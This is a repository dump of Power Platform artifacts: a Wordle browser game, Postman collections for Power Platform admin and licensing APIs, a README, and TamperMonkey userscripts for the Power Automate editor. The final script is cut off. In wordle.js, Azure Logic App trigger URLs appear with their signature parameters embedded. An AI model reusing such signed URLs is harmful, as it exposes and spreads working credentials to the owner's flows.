60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |

96 |
97 |
254 |
255 |
--------------------------------------------------------------------------------
/Power Automate Artifacts/wordle/wordle.js:
--------------------------------------------------------------------------------
1 | ////setup
2 | //get html elements
3 | const bSubmit = document.getElementById("submit");
4 | const iAllInputs = document.querySelectorAll("input");
5 | const dBoard = document.getElementById("board");
6 | const dStatus = document.getElementById("status");
7 | const bWords = document.getElementById("words");
8 | const iLoader = document.getElementById("loader")
9 | //intialise variabls
10 | let sGuess="";
11 | let sStatus="";
12 | let sPartBoard="";
13 | let sFullBoard="";
14 | let i=0;
15 | let bLock=false;
16 | //focus on first charcter
17 | iAllInputs[0].focus();
18 | //loop over all inputs and set to tab to next
19 | iAllInputs.forEach(input => {
20 | input.addEventListener("keyup",
21 | function(){
22 | const j=parseInt(input.id);
23 | if(j<5){
24 | if(!bLock && input.value!=""){
25 | document.getElementById(j+1).value="";
26 | document.getElementById(j+1).focus();
27 | }
28 | }
29 | }
30 | )
31 | });
32 |
33 | //date tracker
34 | const today = new Date();
35 | const sDate=today.getDate()+"/"+(today.getMonth() + 1)+"/"+today.getFullYear();
36 | console.log(sDate)
37 | if(localStorage.getItem("date")!=sDate){
38 | //set storage to new game
39 | localStorage.setItem("date", sDate);
40 | localStorage.setItem("partBoard", "");
41 | localStorage.setItem("i", "0");
42 | localStorage.setItem("fullBoard", dBoard.innerHTML);
43 | localStorage.setItem("status", "");
44 | }else{
45 | //set board to storage
46 | dBoard.innerHTML=localStorage.getItem("fullBoard");
47 | sPartBoard=localStorage.getItem("partBoard");
48 | sFullBoard=localStorage.getItem("fullBoard");
49 | sStatus=localStorage.getItem("status");
50 | i=JSON.parse(localStorage.getItem("i"));
51 | }
52 | dStatus.innerText=sStatus;
53 | bWords.addEventListener("click", function() {
54 | bSubmit.style="display:none";
55 | iLoader.style="display:block";
56 | const data= fetchAPIWords();
57 | })
58 |
59 | async function fetchAPIWords() {
60 | try {
61 | const options = {
62 | method:"GET",
63 | }
64 | const response = await fetch("https://prod-23.westus.logic.azure.com:443/workflows/a9bce0768ee9437fb456857ddd7d919b/triggers/manual/paths/invoke?api-version=2016-06-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=z6Ncm1vss08AJyhKg-A5b7GDJZvYSvdUPz29sLIYt6I&mode=words", options);
65 | const string = await response.text();
66 | iLoader.style="display:none";
67 | const newWindow = window.open("", "Words");
68 | newWindow.document.write(""+string.replaceAll(",","
")+"
");
69 | iLoader.style="display:none";
70 | bSubmit.style="display:block";
71 | return data;
72 | } catch (error) {
73 | console.error('Error fetching API data:', error);
74 | iLoader.style="display:none";
75 | bSubmit.style="display:block";
76 | }
77 | }
78 |
79 | ////submit guess
80 | bSubmit.addEventListener("click", function() {
81 |
82 | //build guess word from inpus
83 | sGuess="";
84 | sStatus=localStorage.getItem("status");
85 | iAllInputs.forEach(input => {
86 | sGuess+= input.value;
87 | });
88 |
89 | if(!bLock && sGuess.length==5 && (sStatus=="" || sStatus=="Not a valid word")){
90 | iLoader.style="display:block";
91 | bLock=true;
92 | localStorage.setItem("guess", sGuess);
93 |
94 | //calls flow
95 | fetchAPIData("https://prod-101.westus.logic.azure.com:443/workflows/00427b3c8f084d51be85e4584a4cc753/triggers/manual/paths/invoke?api-version=2016-06-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=y59HfLgXTLMTqROzQRq0-T2j-hUp7XtxXBjOVW0FAGs",i)
96 | .then(data => {
97 | if(data!=undefined){
98 | //next row
99 | sStatus=data.status;
100 |
101 | if(sStatus!="Not a valid word" && data.partBoard!=undefined){
102 | dStatus.innerHTML=sStatus;
103 | //update storage and board
104 | sPartBoard=data.partBoard;
105 | sFullBoard=data.fullBoard;
106 | dBoard.innerHTML=data.fullBoard;
107 | localStorage.setItem("partBoard",sPartBoard);
108 | localStorage.setItem("fullBoard", sFullBoard);
109 | localStorage.setItem("status", sStatus);
110 | iAllInputs.forEach(input => {input.value=""});
111 | i++;
112 | localStorage.setItem("i", i);
113 | }else{
114 | dStatus.innerText="Error, please try again";
115 | }
116 | }
117 | bLock=false;
118 | iLoader.style="display:none";
119 | bSubmit.style="display:block";
120 | })
121 | .catch(error => {
122 | bLock=false;
123 | console.error('Error Get Environments:', error);
124 | iLoader.style="display:none";
125 | bSubmit.style="display:block";
126 | });
127 | }else{
128 | if(sGuess.length==5){
129 | alert("Please try again tomorrow");
130 | }else{
131 | alert("Please add all 5 characters");
132 | }
133 | }
134 | });
135 |
136 | //// http call function
137 | async function fetchAPIData(url,i) {
138 | try {
139 | const options = {
140 | method:"POST",
141 | "body":JSON.stringify({
142 | "date":sDate,
143 | "row":i,
144 | "guess":sGuess,
145 | "board":sPartBoard
146 | })
147 | }
148 | const response = await fetch(url, options);
149 | const string = await response.text();
150 | const data = string === "" ? string : JSON.parse(string)
151 | return data;
152 | } catch (error) {
153 | console.error('Error fetching API data:', error);
154 | }
155 | }
--------------------------------------------------------------------------------
/Power Platform APIs/BAP.postman_collection.json:
--------------------------------------------------------------------------------
1 | {
2 | "info": {
3 | "_postman_id": "9f218d3d-5c10-4a48-b0bd-647e18bb5881",
4 | "name": "BAP",
5 | "schema": "https://schema.getpostman.com/json/collection/v2.1.0/collection.json",
6 | "_exporter_id": "17311769"
7 | },
8 | "item": [
9 | {
10 | "name": "Tenant Info",
11 | "request": {
12 | "method": "GET",
13 | "header": [],
14 | "url": {
15 | "raw": "https://api.bap.microsoft.com/providers/Microsoft.BusinessAppPlatform/tenant?api-version=2020-08-01",
16 | "protocol": "https",
17 | "host": [
18 | "api",
19 | "bap",
20 | "microsoft",
21 | "com"
22 | ],
23 | "path": [
24 | "providers",
25 | "Microsoft.BusinessAppPlatform",
26 | "tenant"
27 | ],
28 | "query": [
29 | {
30 | "key": "api-version",
31 | "value": "2020-08-01"
32 | }
33 | ]
34 | },
35 | "description": "Returns current Tenant information"
36 | },
37 | "response": []
38 | },
39 | {
40 | "name": "Tenant Settings",
41 | "request": {
42 | "method": "GET",
43 | "header": [],
44 | "url": {
45 | "raw": "https://api.bap.microsoft.com/providers/Microsoft.BusinessAppPlatform/listTenantSettings?api-version=2021-04-01",
46 | "protocol": "https",
47 | "host": [
48 | "api",
49 | "bap",
50 | "microsoft",
51 | "com"
52 | ],
53 | "path": [
54 | "providers",
55 | "Microsoft.BusinessAppPlatform",
56 | "listTenantSettings"
57 | ],
58 | "query": [
59 | {
60 | "key": "api-version",
61 | "value": "2021-04-01"
62 | }
63 | ]
64 | }
65 | },
66 | "response": []
67 | },
68 | {
69 | "name": "Update Tenant Settings",
70 | "request": {
71 | "method": "POST",
72 | "header": [],
73 | "body": {
74 | "mode": "raw",
75 | "raw": "",
76 | "options": {
77 | "raw": {
78 | "language": "json"
79 | }
80 | }
81 | },
82 | "url": {
83 | "raw": "https://api.bap.microsoft.com/providers/Microsoft.BusinessAppPlatform/listTenantSettings?api-version=2021-04-01",
84 | "protocol": "https",
85 | "host": [
86 | "api",
87 | "bap",
88 | "microsoft",
89 | "com"
90 | ],
91 | "path": [
92 | "providers",
93 | "Microsoft.BusinessAppPlatform",
94 | "listTenantSettings"
95 | ],
96 | "query": [
97 | {
98 | "key": "api-version",
99 | "value": "2021-04-01"
100 | }
101 | ]
102 | }
103 | },
104 | "response": []
105 | },
106 | {
107 | "name": "Environment List",
108 | "request": {
109 | "method": "GET",
110 | "header": [],
111 | "url": {
112 | "raw": "https://api.bap.microsoft.com/providers/Microsoft.BusinessAppPlatform/scopes/admin/environments?api-version=2021-04-01&$select=location,name,properties.createdBy,properties.createdTime,properties.displayName,properties.environmentSku,properties.provisioningState,properties.retentionPeriod,properties.linkedEnvironmentMetadata,properties.clientUris,properties.states,properties.softDeletedTime,properties.lifecycleOperationsEnforcement,properties.connectedGroups,properties.ongoingOperation,properties.expirationTime,properties.maxAllowedExpirationTime,properties.scheduledLifecycleOperations,properties.governanceConfiguration,properties.protectionStatus,properties/lastActivity/lastActivity/lastActivityTime,properties.parentEnvironmentGroup,properties.runtimeEndpoints,properties.cluster.category,properties.finOpsMetadata&$expand=properties/scheduledLifecycleOperations",
113 | "protocol": "https",
114 | "host": [
115 | "api",
116 | "bap",
117 | "microsoft",
118 | "com"
119 | ],
120 | "path": [
121 | "providers",
122 | "Microsoft.BusinessAppPlatform",
123 | "scopes",
124 | "admin",
125 | "environments"
126 | ],
127 | "query": [
128 | {
129 | "key": "api-version",
130 | "value": "2021-04-01"
131 | },
132 | {
133 | "key": "$select",
134 | "value": "location,name,properties.createdBy,properties.createdTime,properties.displayName,properties.environmentSku,properties.provisioningState,properties.retentionPeriod,properties.linkedEnvironmentMetadata,properties.clientUris,properties.states,properties.softDeletedTime,properties.lifecycleOperationsEnforcement,properties.connectedGroups,properties.ongoingOperation,properties.expirationTime,properties.maxAllowedExpirationTime,properties.scheduledLifecycleOperations,properties.governanceConfiguration,properties.protectionStatus,properties/lastActivity/lastActivity/lastActivityTime,properties.parentEnvironmentGroup,properties.runtimeEndpoints,properties.cluster.category,properties.finOpsMetadata"
135 | },
136 | {
137 | "key": "$expand",
138 | "value": "properties/scheduledLifecycleOperations"
139 | }
140 | ]
141 | },
142 | "description": "Returns list of all environments you have a security role for"
143 | },
144 | "response": []
145 | },
146 | {
147 | "name": "Environment Features",
148 | "request": {
149 | "method": "GET",
150 | "header": [],
151 | "url": {
152 | "raw": "https://api.bap.microsoft.com/providers/Microsoft.BusinessAppPlatform/scopes/admin/environments?api-version=2021-04-01&$expand=properties/copilotPolicies&$filter=properties/linkedEnvironmentMetadata/resourceId eq {{organizationID}}",
153 | "protocol": "https",
154 | "host": [
155 | "api",
156 | "bap",
157 | "microsoft",
158 | "com"
159 | ],
160 | "path": [
161 | "providers",
162 | "Microsoft.BusinessAppPlatform",
163 | "scopes",
164 | "admin",
165 | "environments"
166 | ],
167 | "query": [
168 | {
169 | "key": "api-version",
170 | "value": "2021-04-01"
171 | },
172 | {
173 | "key": "$expand",
174 | "value": "properties/copilotPolicies"
175 | },
176 | {
177 | "key": "$filter",
178 | "value": "properties/linkedEnvironmentMetadata/resourceId eq {{organizationID}}"
179 | }
180 | ]
181 | }
182 | },
183 | "response": []
184 | },
185 | {
186 | "name": "D365 Templates",
187 | "request": {
188 | "method": "GET",
189 | "header": [],
190 | "url": {
191 | "raw": "https://api.bap.microsoft.com/providers/Microsoft.BusinessAppPlatform/locations/unitedstates/templates?api-version=2020-05-01",
192 | "protocol": "https",
193 | "host": [
194 | "api",
195 | "bap",
196 | "microsoft",
197 | "com"
198 | ],
199 | "path": [
200 | "providers",
201 | "Microsoft.BusinessAppPlatform",
202 | "locations",
203 | "unitedstates",
204 | "templates"
205 | ],
206 | "query": [
207 | {
208 | "key": "api-version",
209 | "value": "2020-05-01"
210 | }
211 | ]
212 | }
213 | },
214 | "response": []
215 | },
216 | {
217 | "name": "Desktop Connectors",
218 | "request": {
219 | "method": "GET",
220 | "header": [],
221 | "url": {
222 | "raw": "https://api.bap.microsoft.com/providers/PowerPlatform.Governance/v1/connectors?$filter=connectorType+eq+%27DesktopFlow%27",
223 | "protocol": "https",
224 | "host": [
225 | "api",
226 | "bap",
227 | "microsoft",
228 | "com"
229 | ],
230 | "path": [
231 | "providers",
232 | "PowerPlatform.Governance",
233 | "v1",
234 | "connectors"
235 | ],
236 | "query": [
237 | {
238 | "key": "$filter",
239 | "value": "connectorType+eq+%27DesktopFlow%27"
240 | }
241 | ]
242 | }
243 | },
244 | "response": []
245 | },
246 | {
247 | "name": "UnBloackable Connectors",
248 | "request": {
249 | "method": "GET",
250 | "header": [],
251 | "url": {
252 | "raw": "https://api.bap.microsoft.com/providers/PowerPlatform.Governance/v1/connectors/metadata/unblockable",
253 | "protocol": "https",
254 | "host": [
255 | "api",
256 | "bap",
257 | "microsoft",
258 | "com"
259 | ],
260 | "path": [
261 | "providers",
262 | "PowerPlatform.Governance",
263 | "v1",
264 | "connectors",
265 | "metadata",
266 | "unblockable"
267 | ]
268 | }
269 | },
270 | "response": []
271 | },
272 | {
273 | "name": "DLP Policies",
274 | "request": {
275 | "method": "GET",
276 | "header": [],
277 | "url": {
278 | "raw": "https://api.bap.microsoft.com/providers/PowerPlatform.Governance/v1/policies?$top=100",
279 | "protocol": "https",
280 | "host": [
281 | "api",
282 | "bap",
283 | "microsoft",
284 | "com"
285 | ],
286 | "path": [
287 | "providers",
288 | "PowerPlatform.Governance",
289 | "v1",
290 | "policies"
291 | ],
292 | "query": [
293 | {
294 | "key": "$top",
295 | "value": "100"
296 | }
297 | ]
298 | }
299 | },
300 | "response": []
301 | }
302 | ],
303 | "auth": {
304 | "type": "bearer"
305 | },
306 | "event": [
307 | {
308 | "listen": "prerequest",
309 | "script": {
310 | "type": "text/javascript",
311 | "packages": {},
312 | "exec": [
313 | ""
314 | ]
315 | }
316 | },
317 | {
318 | "listen": "test",
319 | "script": {
320 | "type": "text/javascript",
321 | "packages": {},
322 | "exec": [
323 | ""
324 | ]
325 | }
326 | }
327 | ],
328 | "variable": [
329 | {
330 | "key": "organizationID",
331 | "value": "",
332 | "type": "string"
333 | }
334 | ]
335 | }
--------------------------------------------------------------------------------
/Power Platform APIs/Power Platform.postman_collection.json:
--------------------------------------------------------------------------------
1 | {
2 | "info": {
3 | "_postman_id": "2d015c95-682e-4d61-9148-907b3ab25565",
4 | "name": "Power Platform",
5 | "schema": "https://schema.getpostman.com/json/collection/v2.1.0/collection.json",
6 | "_exporter_id": "17311769"
7 | },
8 | "item": [
9 | {
10 | "name": "Tenant",
11 | "item": [
12 | {
13 | "name": "Tenant Advisor",
14 | "request": {
15 | "method": "GET",
16 | "header": [],
17 | "url": {
18 | "raw": "https://{{tenantID2}}.tenant.api.powerplatform.com/analytics/advisorRecommendations?api-version=1&source=AdvisorPage&includeMetadata=true&experimentRecommendationTitle=true&includeHints=true&includeTrends=true",
19 | "protocol": "https",
20 | "host": [
21 | "{{tenantID2}}",
22 | "tenant",
23 | "api",
24 | "powerplatform",
25 | "com"
26 | ],
27 | "path": [
28 | "analytics",
29 | "advisorRecommendations"
30 | ],
31 | "query": [
32 | {
33 | "key": "api-version",
34 | "value": "1"
35 | },
36 | {
37 | "key": "source",
38 | "value": "AdvisorPage"
39 | },
40 | {
41 | "key": "includeMetadata",
42 | "value": "true"
43 | },
44 | {
45 | "key": "experimentRecommendationTitle",
46 | "value": "true"
47 | },
48 | {
49 | "key": "includeHints",
50 | "value": "true"
51 | },
52 | {
53 | "key": "includeTrends",
54 | "value": "true"
55 | }
56 | ]
57 | }
58 | },
59 | "response": []
60 | },
61 | {
62 | "name": "Gateways",
63 | "request": {
64 | "method": "GET",
65 | "header": [],
66 | "url": {
67 | "raw": "https://{{tenantID2}}.tenant.api.powerplatform.com/gateway/cluster?api-version=1",
68 | "protocol": "https",
69 | "host": [
70 | "{{tenantID2}}",
71 | "tenant",
72 | "api",
73 | "powerplatform",
74 | "com"
75 | ],
76 | "path": [
77 | "gateway",
78 | "cluster"
79 | ],
80 | "query": [
81 | {
82 | "key": "api-version",
83 | "value": "1"
84 | }
85 | ]
86 | }
87 | },
88 | "response": []
89 | }
90 | ]
91 | },
92 | {
93 | "name": "Admin Analytics",
94 | "item": [
95 | {
96 | "name": "App Diagnostics",
97 | "request": {
98 | "method": "POST",
99 | "header": [],
100 | "body": {
101 | "mode": "raw",
102 | "raw": "{\r\n \"metricName\": \"powerapps.app_launch\",\r\n \"metricType\": \"DailyAvailabilityMetric\",\r\n \"startTime\": \"2025-01-27T11:52:17.634Z\",\r\n \"endTime\": \"2025-02-03T11:52:17.634Z\",\r\n \"resourceId\": \"a4fb0bd2-98e3-4716-bd84-31f00848f686\",\r\n \"limit\": 100\r\n}",
103 | "options": {
104 | "raw": {
105 | "language": "json"
106 | }
107 | }
108 | },
109 | "url": {
110 | "raw": "https://na.adminanalytics.powerplatform.microsoft.com/api/v1/metrics/diagnosticlogs",
111 | "protocol": "https",
112 | "host": [
113 | "na",
114 | "adminanalytics",
115 | "powerplatform",
116 | "microsoft",
117 | "com"
118 | ],
119 | "path": [
120 | "api",
121 | "v1",
122 | "metrics",
123 | "diagnosticlogs"
124 | ]
125 | }
126 | },
127 | "response": []
128 | }
129 | ],
130 | "event": [
131 | {
132 | "listen": "prerequest",
133 | "script": {
134 | "type": "text/javascript",
135 | "packages": {},
136 | "exec": [
137 | ""
138 | ]
139 | }
140 | },
141 | {
142 | "listen": "test",
143 | "script": {
144 | "type": "text/javascript",
145 | "packages": {},
146 | "exec": [
147 | ""
148 | ]
149 | }
150 | }
151 | ]
152 | },
153 | {
154 | "name": "Other",
155 | "item": [
156 | {
157 | "name": "D365 App List",
158 | "request": {
159 | "method": "GET",
160 | "header": [],
161 | "url": {
162 | "raw": "https://api.admin.powerplatform.microsoft.com/api/AppManagement/TenantProducts?geoType=NA",
163 | "protocol": "https",
164 | "host": [
165 | "api",
166 | "admin",
167 | "powerplatform",
168 | "microsoft",
169 | "com"
170 | ],
171 | "path": [
172 | "api",
173 | "AppManagement",
174 | "TenantProducts"
175 | ],
176 | "query": [
177 | {
178 | "key": "geoType",
179 | "value": "NA"
180 | }
181 | ]
182 | }
183 | },
184 | "response": []
185 | },
186 | {
187 | "name": "Get Licenses",
188 | "request": {
189 | "method": "GET",
190 | "header": [],
191 | "url": {
192 | "raw": "https://licensing.powerplatform.microsoft.com/v0.1-alpha/tenants/{{environmentID}}/CurrencyReports",
193 | "protocol": "https",
194 | "host": [
195 | "licensing",
196 | "powerplatform",
197 | "microsoft",
198 | "com"
199 | ],
200 | "path": [
201 | "v0.1-alpha",
202 | "tenants",
203 | "{{environmentID}}",
204 | "CurrencyReports"
205 | ]
206 | }
207 | },
208 | "response": []
209 | },
210 | {
211 | "name": "Licenses by Environment",
212 | "request": {
213 | "method": "GET",
214 | "header": [],
215 | "url": {
216 | "raw": "https://licensing.powerplatform.microsoft.com/v0.1/tenants/{{environmentID}}/allocationsV2/getmany",
217 | "protocol": "https",
218 | "host": [
219 | "licensing",
220 | "powerplatform",
221 | "microsoft",
222 | "com"
223 | ],
224 | "path": [
225 | "v0.1",
226 | "tenants",
227 | "{{environmentID}}",
228 | "allocationsV2",
229 | "getmany"
230 | ]
231 | }
232 | },
233 | "response": []
234 | },
235 | {
236 | "name": "Token",
237 | "request": {
238 | "auth": {
239 | "type": "noauth"
240 | },
241 | "method": "POST",
242 | "header": [],
243 | "body": {
244 | "mode": "urlencoded",
245 | "urlencoded": [
246 | {
247 | "key": "client_id",
248 | "value": "{{clientID}}",
249 | "type": "text"
250 | },
251 | {
252 | "key": "client_secret",
253 | "value": "{{secret}}",
254 | "type": "text"
255 | },
256 | {
257 | "key": "scope",
258 | "value": "{{dataverseURL}}/.default",
259 | "type": "text"
260 | },
261 | {
262 | "key": "grant_type",
263 | "value": "client_credentials",
264 | "type": "text"
265 | },
266 | {
267 | "key": "redirect_uri",
268 | "value": "https://oauth.pstmn.io/v1/callback",
269 | "type": "text"
270 | }
271 | ]
272 | },
273 | "url": {
274 | "raw": "https://login.microsoftonline.com/{{tenantID}}/oauth2/v2.0/token",
275 | "protocol": "https",
276 | "host": [
277 | "login",
278 | "microsoftonline",
279 | "com"
280 | ],
281 | "path": [
282 | "{{tenantID}}",
283 | "oauth2",
284 | "v2.0",
285 | "token"
286 | ]
287 | }
288 | },
289 | "response": []
290 | },
291 | {
292 | "name": "exchangeToken",
293 | "request": {
294 | "auth": {
295 | "type": "bearer",
296 | "bearer": [
297 | {
298 | "key": "token",
299 | "value": "",
300 | "type": "string"
301 | }
302 | ]
303 | },
304 | "method": "POST",
305 | "header": [],
306 | "body": {
307 | "mode": "raw",
308 | "raw": "{\"audience\":\"https://iacs-us-test.crm.dynamics.com/\",\"tenantId\":\"common\",\"isCaeEnabled\":false,\"aadClientId\":\"a8f7a65c-f5ba-4859-b2d6-df772c264e9d\"}",
309 | "options": {
310 | "raw": {
311 | "language": "json"
312 | }
313 | }
314 | },
315 | "url": {
316 | "raw": "https://make.powerapps.com/api/exchangeToken",
317 | "protocol": "https",
318 | "host": [
319 | "make",
320 | "powerapps",
321 | "com"
322 | ],
323 | "path": [
324 | "api",
325 | "exchangeToken"
326 | ]
327 | }
328 | },
329 | "response": []
330 | }
331 | ]
332 | },
333 | {
334 | "name": "Get Apps I Can Use",
335 | "request": {
336 | "method": "GET",
337 | "header": [],
338 | "url": {
339 | "raw": "https://{{environmentID2}}.environment.api.powerplatform.com/powerapps/apps?api-version=1",
340 | "protocol": "https",
341 | "host": [
342 | "{{environmentID2}}",
343 | "environment",
344 | "api",
345 | "powerplatform",
346 | "com"
347 | ],
348 | "path": [
349 | "powerapps",
350 | "apps"
351 | ],
352 | "query": [
353 | {
354 | "key": "api-version",
355 | "value": "1"
356 | }
357 | ]
358 | }
359 | },
360 | "response": []
361 | },
362 | {
363 | "name": "Get Apps Edit Access Shared With Me",
364 | "request": {
365 | "method": "GET",
366 | "header": [],
367 | "url": {
368 | "raw": "https://{{environmentID2}}.environment.api.powerplatform.com/powerapps/apps?api-version=1&$filter=classification+eq+'SharedWithMeApps'&$expand=permissions($filter=maxAssignedTo('{{entraObjectID}}'))",
369 | "protocol": "https",
370 | "host": [
371 | "{{environmentID2}}",
372 | "environment",
373 | "api",
374 | "powerplatform",
375 | "com"
376 | ],
377 | "path": [
378 | "powerapps",
379 | "apps"
380 | ],
381 | "query": [
382 | {
383 | "key": "api-version",
384 | "value": "1"
385 | },
386 | {
387 | "key": "$filter",
388 | "value": "classification+eq+'SharedWithMeApps'"
389 | },
390 | {
391 | "key": "$expand",
392 | "value": "permissions($filter=maxAssignedTo('{{entraObjectID}}'))"
393 | }
394 | ]
395 | }
396 | },
397 | "response": []
398 | },
399 | {
400 | "name": "My Apps",
401 | "request": {
402 | "method": "GET",
403 | "header": [],
404 | "url": {
405 | "raw": "https://{{environmentID2}}.environment.api.powerplatform.com/powerapps/apps?api-version=1&$filter=classification+eq+'EditableApps'+and+environment+eq+'{{environmentID}}&$expand=permissions($filter=maxAssignedTo('{{entraObjectID}}'))",
406 | "protocol": "https",
407 | "host": [
408 | "{{environmentID2}}",
409 | "environment",
410 | "api",
411 | "powerplatform",
412 | "com"
413 | ],
414 | "path": [
415 | "powerapps",
416 | "apps"
417 | ],
418 | "query": [
419 | {
420 | "key": "api-version",
421 | "value": "1"
422 | },
423 | {
424 | "key": "$filter",
425 | "value": "classification+eq+'EditableApps'+and+environment+eq+'{{environmentID}}"
426 | },
427 | {
428 | "key": "$expand",
429 | "value": "permissions($filter=maxAssignedTo('{{entraObjectID}}'))"
430 | }
431 | ]
432 | }
433 | },
434 | "response": []
435 | },
436 | {
437 | "name": "My Connections",
438 | "request": {
439 | "method": "GET",
440 | "header": [],
441 | "url": {
442 | "raw": "https://{{environmentID2}}.environment.api.powerplatform.com/connectivity/connections?api-version=1",
443 | "protocol": "https",
444 | "host": [
445 | "{{environmentID2}}",
446 | "environment",
447 | "api",
448 | "powerplatform",
449 | "com"
450 | ],
451 | "path": [
452 | "connectivity",
453 | "connections"
454 | ],
455 | "query": [
456 | {
457 | "key": "$expand",
458 | "value": "permissions($filter=maxAssignedTo('{{entraObjectID}}'))",
459 | "disabled": true
460 | },
461 | {
462 | "key": "$filter",
463 | "value": "environment+eq+'{{environmentID}}'+and+ApiId+not+in+('shared_logicflows','shared_powerflows','shared_pqogenericconnector')",
464 | "disabled": true
465 | },
466 | {
467 | "key": "api-version",
468 | "value": "1"
469 | }
470 | ]
471 | }
472 | },
473 | "response": []
474 | },
475 | {
476 | "name": "Share Canvas App",
477 | "request": {
478 | "method": "POST",
479 | "header": [],
480 | "body": {
481 | "mode": "raw",
482 | "raw": "{\r\n \"put\":[\r\n {\r\n \"properties\":{\r\n \"roleName\":\"CanEdit\",\r\n \"principal\":{\r\n \"email\":\"{{email}}\",\r\n \"id\":\"{{entraObjectID}}\",\r\n \"type\":\"{{shareType}}\",\r\n \"tenantId\":null\r\n },\r\n \"NotifyShareTargetOption\":\"DoNotNotify\"\r\n }\r\n }\r\n ],\r\n \"delete\":[],\r\n \"emailCustomizations\":{}\r\n}",
483 | "options": {
484 | "raw": {
485 | "language": "json"
486 | }
487 | }
488 | },
489 | "url": {
490 | "raw": "https://{{environmentID2}}.environment.api.powerplatform.com/powerapps/apps/{{appID}}/modifyPermissions?%24filter=environment+eq+%27{{environmentID}}%27&api-version=1\n",
491 | "protocol": "https",
492 | "host": [
493 | "{{environmentID2}}",
494 | "environment",
495 | "api",
496 | "powerplatform",
497 | "com"
498 | ],
499 | "path": [
500 | "powerapps",
501 | "apps",
502 | "{{appID}}",
503 | "modifyPermissions"
504 | ],
505 | "query": [
506 | {
507 | "key": "%24filter",
508 | "value": "environment+eq+%27{{environmentID}}%27"
509 | },
510 | {
511 | "key": "api-version",
512 | "value": "1\n"
513 | }
514 | ]
515 | }
516 | },
517 | "response": []
518 | }
519 | ],
520 | "auth": {
521 | "type": "bearer"
522 | },
523 | "event": [
524 | {
525 | "listen": "prerequest",
526 | "script": {
527 | "type": "text/javascript",
528 | "packages": {},
529 | "exec": [
530 | ""
531 | ]
532 | }
533 | },
534 | {
535 | "listen": "test",
536 | "script": {
537 | "type": "text/javascript",
538 | "packages": {},
539 | "exec": [
540 | ""
541 | ]
542 | }
543 | }
544 | ],
545 | "variable": [
546 | {
547 | "key": "tenantID2",
548 | "value": "",
549 | "type": "string"
550 | },
551 | {
552 | "key": "tenantID",
553 | "value": "",
554 | "type": "string"
555 | },
556 | {
557 | "key": "environmentID2",
558 | "value": "",
559 | "type": "string"
560 | },
561 | {
562 | "key": "environmentID",
563 | "value": "",
564 | "type": "string"
565 | },
566 | {
567 | "key": "appID",
568 | "value": "",
569 | "type": "string"
570 | },
571 | {
572 | "key": "entraObjectID",
573 | "value": "",
574 | "type": "string"
575 | },
576 | {
577 | "key": "email",
578 | "value": "",
579 | "type": "string"
580 | },
581 | {
582 | "key": "shareType",
583 | "value": "",
584 | "type": "string"
585 | },
586 | {
587 | "key": "clientID",
588 | "value": "",
589 | "type": "default"
590 | },
591 | {
592 | "key": "secret",
593 | "value": "",
594 | "type": "default"
595 | }
596 | ]
597 | }
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Power-Platform
2 |
3 | This repo is a collection of Power Automate and Power App exports avaiable for you to download. They have supporting blogs/articles explaining how to create them.
4 |
5 | All Blogs found here
6 |
7 | \\\\\
8 |
--------------------------------------------------------------------------------
/TamperMonkey Scripts/Power Automate Bug Fix..user.js:
--------------------------------------------------------------------------------
1 | // ==UserScript==
2 | // @name Power Automate Bug Fix
3 | // @namespace http://powerdevbox.com
4 | // @version 2025-01-16
5 | // @description Fix Classic UI Beta Mode Bug
6 | // @author David Wyatt
7 | // @match https://make.powerautomate.com/*
8 | // @icon https://www.google.com/s2/favicons?sz=64&domain=azure.com
9 | // @grant none
10 | // ==/UserScript==
11 |
12 | (function() {
13 | 'use strict';
14 | console.log("Crrated by David Wyatt");
15 | const observer = new MutationObserver((mutationsList) => {
16 | for (const mutation of mutationsList) {
17 | const eSwitch=document.getElementById("switchDesigner");
18 | const bNew=eSwitch.getAttribute('aria-checked') === 'true';
19 | console.log(bNew);
20 | if (mutation.type === 'childList' && !bNew) {
21 | mutation.addedNodes.forEach((node) => {
22 | if (node.nodeType === Node.ELEMENT_NODE) {
23 | try{
24 | const eBug=document.evaluate('//*[contains(@id,"ModalFocusTrapZone")]/div[2]',document,null,XPathResult.FIRST_ORDERED_NODE_TYPE,null).singleNodeValue
25 | if(eBug){
26 | eBug.style="overflow: visible";
27 | }
28 | }catch(err){
29 | }
30 | }
31 | });
32 | }
33 | }
34 | });
35 | const config = { childList: true, subtree: true };
36 |
37 | observer.observe(document.body, config);
38 | })();
--------------------------------------------------------------------------------
/TamperMonkey Scripts/Trigger Power Automate Test.user.js:
--------------------------------------------------------------------------------
1 | // ==UserScript==
2 | // @name Trigger Power Automate Test
3 | // @namespace http://tampermonkey.net/
4 | // @version 0.1
5 | // @description Triggers Test on ALT+t (most recent run)
6 | // @author David Wyatt
7 | // @match https://*make.powerautomate.com/*
8 | // @icon https://img.icons8.com/office/256/microsoft-power-automate-2020.png
9 | // @grant none
10 | // ==/UserScript==
11 |
12 | (function() {
13 | 'use strict';
14 | let keys = {
15 | a: false,
16 | t: false
17 | };
18 | let i=0;
19 | let iWait=10000000;
20 | window.addEventListener("keydown", (event) => {
21 | if (event.key === "Alt") {
22 | keys.a = true;
23 | }
24 | if (event.key === "t") {
25 | keys.t = true;
26 | }
27 | if (event.altKey && event.key === "t") {
28 | let bAuto=true;
29 | let bRecent=true;
30 | let bFirst=true;
31 | keys.t = false;
32 | keys.a = false;
33 | const elmTest=document.querySelector('[data-automation-id="testFlow"]');
34 | elmTest.click();
35 |
36 | let timer=setInterval(() => {
37 |
38 | let elmAuto=document.querySelector('[aria-label="Test Flow, Automatically"]');//console.log(elmAuto);//elmAuto.click();
39 | if (elmAuto && bAuto){
40 | elmAuto.click();
41 | bAuto=false;
42 | }
43 | let elmRecent=document.querySelector('[aria-label="With a recently used trigger."]');//elmRecent.click();
44 | if(!elmRecent && bRecent){
45 | elmAuto.click()
46 | };
47 | if(elmRecent && bRecent){
48 | elmRecent.click();
49 | bRecent=false;
50 | }
51 | let elmContainerAll=document.querySelectorAll('[class="ba-Panel-content"] [role="radiogroup"]');
52 | if (elmContainerAll && iWait==10000000){
53 | iWait=i+20;
54 | };
55 | let elmContainer=elmContainerAll[2];
